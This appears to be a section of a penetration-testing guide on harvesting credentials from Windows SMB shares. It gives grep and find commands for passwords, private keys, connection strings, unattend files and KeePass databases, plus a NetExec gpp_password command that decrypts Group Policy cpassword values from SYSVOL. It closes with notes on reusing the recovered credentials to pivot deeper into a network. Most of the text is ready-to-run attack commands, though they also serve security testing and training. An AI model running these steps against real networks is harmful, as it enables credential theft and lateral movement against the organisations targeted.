The highest-value loot in shares is credentials, and they appear in predictable forms. The approach is to pull the likely files and pattern-match aggressively, and to look specifically for the known credential-bearing files that Windows and applications leave in shares.
Pattern-match for embedded secrets#
# across downloaded share content
grep -rinE 'password|passwd|pwd=|secret|api[_-]?key|BEGIN (RSA|OPENSSH) PRIVATE KEY' ./loot
grep -rinE 'connectionstring|Data Source=|User Id=|Server=.*;Password=' ./loot
# config/script types that commonly carry them
find ./loot -iregex '.*\.\(config\|ini\|xml\|ps1\|bat\|cmd\|vbs\|json\|yml\|yaml\)$'
Known credential-bearing files#
# SYSVOL Group Policy Preferences cpassword (AES key is public -> decryptable)
# \\<domain>\SYSVOL\<domain>\Policies\*\{Machine,User}\Preferences\*\Groups.xml
nxc smb <dc> -u user -p 'pass' -M gpp_password # finds + decrypts cpassword
# unattend / sysprep answer files with local admin creds
find ./loot -iname 'unattend.xml' -o -iname 'sysprep.inf' -o -iname 'autounattend.xml'
# saved keys and secret stores
find ./loot -iname 'id_rsa' -o -iname '*.ppk' -o -iname '*.pem' -o -iname '*.kdbx'
# web/app config with DB and service creds
find ./loot -iname 'web.config' -o -iname '.env' -o -iname '*.rdp'
The Group Policy cpassword is a classic: it was encrypted with a key Microsoft published, so any Groups.xml (or related Preferences file) in SYSVOL containing cpassword is trivially decryptable to a usable (often local-admin) credential, and SYSVOL is readable by every domain user.
Exploitation notes#
SYSVOLis readable by any authenticated domain user, so the GPPcpasswordhunt is a reliable early win where legacy Preferences files remain;gpp_passwordboth finds and decrypts them.- Unattend/answer files frequently contain a local administrator password reused across a deployment, making one find broadly useful.
- Recovered private keys and KeePass databases pivot onward (SSH, decrypt the vault offline); connection strings yield database access.
- Feed recovered credentials back into share enumeration as a new identity and into the broader network; many creds found in shares are reused.